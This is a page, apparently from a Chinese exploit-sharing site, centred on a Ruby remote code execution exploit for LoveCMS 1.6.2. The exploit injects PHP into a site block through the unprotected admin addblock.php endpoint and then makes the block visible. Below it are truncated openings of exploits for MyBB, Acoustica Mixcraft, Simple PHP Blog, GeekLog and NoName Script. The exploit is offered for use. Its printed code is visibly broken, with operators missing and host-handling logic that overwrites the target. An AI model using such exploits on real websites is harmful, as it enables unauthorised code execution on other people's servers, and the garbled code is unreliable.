LoveCMS 1.6.2 Final Remote Code Execution Exploit
所属分类：
网络安全 / Exploit
阅读数：
98
收藏 0赞 0分享
#!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
## pomdapimp(at)gmail(dotcom)
##
## LoveCMS Exploit Series
## Episode 1: adding a side block
##
## Description: add some php into a block container
## on the side of the site. phpinfo() is called.
##
## Usage: ./LoveCMS_1_blocks.rb <host>
## Ex: ./LoveCMS_2_themes.rb http://site.com/lovecms/
##
## Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#
require 'net/http'
require 'uri'
@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'
@host = ARGV[0] if ARGV[0]
@host = @host[-1, 1].to_s != '/' ? '/' : ''
if @host
# --
puts " LoveCMS Exploit Series. #1: Adding side blocks."
puts
puts " : Attacking host: " @host
# --
# Insert a new block
res = Net::HTTP.post_form(URI.parse(@host 'system/admin/addblock.php'),
{'submit'=>'1', 'title'=>'H4Ck', 'content' => 'phpinfo();', 'type' => 'php'})
puts " :: Block inserted."
# --
# Build post variable for next step
post_vars = {'submit' => 1}
(1..50).each do |id|
post_vars['position' id.to_s] = 1
post_vars['height' id.to_s] = 1
post_vars['visible' id.to_s] = 1
end
# Make the block visible
res = Net::HTTP.post_form(URI.parse('http://127.0.0.1/lovecms_1.6.2_final/lovecms/system/admin/blocks.php'), post_vars )
puts " :: Blocks displayed."
# --
puts
puts " - Visit " @host
end
MyBulletinBoard (MyBB)
<?php
// forum mybb <= 1.2.11 remote sql injection vulnerability
// bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0赞 0分享
Acoustica Mixcraft
#!/usr/bin/perl
#
# Acoustica Mixcraft (mx4 file) Local Buffer Overflow Exploit
# Author: Koshi
#
# Date: 08-28-08 ( 0day )
# Ap
收藏 0赞 0分享
Simple PHP Blog (SPHPBlog)
<?
/*
sIMPLE php bLOG 0.5.0 eXPLOIT
bY mAXzA 2008
*/
function curl($url,$postvar){
global $cook;
$ch = cur
收藏 0赞 0分享
GeekLog
#!/usr/bin/perl
use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
收藏 0赞 0分享
NoName Script
################################################################################
[ ] NoName Script 1.1 BETA Multiple Remote Vulnerabiliti
收藏 0赞 0分享
